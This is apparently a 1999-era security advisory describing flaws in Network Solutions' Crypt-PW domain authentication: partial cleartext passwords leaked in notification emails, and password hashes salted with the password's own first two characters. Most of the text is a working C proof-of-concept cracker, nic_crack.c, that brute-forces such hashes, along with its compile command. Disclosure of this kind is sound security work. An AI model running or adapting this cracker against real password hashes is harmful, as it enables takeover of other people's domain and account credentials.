COMMAND

    crypt-pw

SYSTEMS AFFECTED

    Netsol's Auth Scheme Crypt-PW

PROBLEM

    Jon Lewis  found following.   Some months  ago he  began using the
    crypt-pw  Auth  Scheme  with  his  Internic/Network  Solutions NIC
    handle because forging mail to ineternic.net is just too easy  and
    ge doesn't want domains messed with.

    On  Sep  21,  1999  he notified security@networksolutions.com that
    when doing domain updates with Auth Scheme Crypt-PW, if the  clear
    text password contains spaces, their processing scripts strip  out
    the password up to the first space, and then send off notification
    emails  containing  the  remainder  of  the  password to the other
    contacts involved with the domain being updated.

    Jefferson Ogata  also noticed  a problem  with Network  Solutions'
    handling of passwords for CRYPT-PW authentication: when you submit
    the  password  initially,  the  form  they generate with their New
    Contact  Form  web  system  runs  the  password  you enter through
    crypt(), but the first two characters of the encrypted value  (the
    salt) are the  same as the  first two characters  of the password,
    indicating  they  use  the  password   as  its  own  salt.    This
    dramatically limits the usefulness  of encrypting the password  in
    the first  place, since  you've already  given away  the first two
    characters,  and  probably  hamstrung  the  whole algorithm at the
    same time.  In  any case, this is  definitely the wrong way  to do
    it.

    Ogata  re-encrypted   his  password   with  different   salt  when
    submitting  it  and  this  appeared  to  work  fine.   But Network
    Solutions should be generating a random salt value; not storing  a
    portion  of  the  password  unencrypted  in  their database as the
    salt.  Most people won't even  notice, and very few will know  how
    to generate their own properly salted value.

    Following proof-of-concept compiles on RH6.0 with:

        gcc -O -funroll-loops nic_crack nic_crack.c -lcyprt

    Code:

    /* nic_crack.c - brute forces Netsol encrypted NIC update passwords */
    
    #define _XOPEN_SOURCE
    #include <stdio.h>
    #include <unistd.h>
    
    struct key {
    
    char	a[2];
    char	b, c, d, e, f, g;
    char	term;
    
    };
    
    int main(int argc, char *argv[])
    {
    
	    char		*passwd;
	    char		*crypted;
	    struct	key	thekey;
	    char		first[3];
	    int		b,c,d,e,f,g,i;
    
	    if (argc<2) {
		    fprintf(stderr,"usage: nic_crack <crypted password>\n");
		    exit(1);
	    }
    
	    passwd = argv[1];
    
	    thekey.term = '\0';
    
	    strncpy(first, argv[1], 2);
	    first[2] = 0;
	    strncpy(thekey.a, argv[1], 2);
    
	    for (g = 0; g < 127; g++) {
		    thekey.g = g;
    
		    for (f = 0; f < 127; f++) {
			    thekey.f = f;
    
			    for (e = 0; e < 127; e++) {
				    thekey.e = e;
    
				    for (d = 0; d < 127; d++) {
					    thekey.d = d;
    
					    for (c = 0; c < 127; c++) {
						    thekey.c = c;
    
						    for (b = 0; b < 127; b++) {
							    thekey.b = b;
    
							    crypted = (char *)crypt((char *)&thekey, first);
    
							    if (strcmp(crypted, passwd) == 0) {
								    printf("Found: %s\n", (char *)&thekey);
								    return 0;
							    }
						    }
					    }
				    }
			    }
		    }
	    }
    
    
    return 0;

SOLUTION

    Developers are working on it.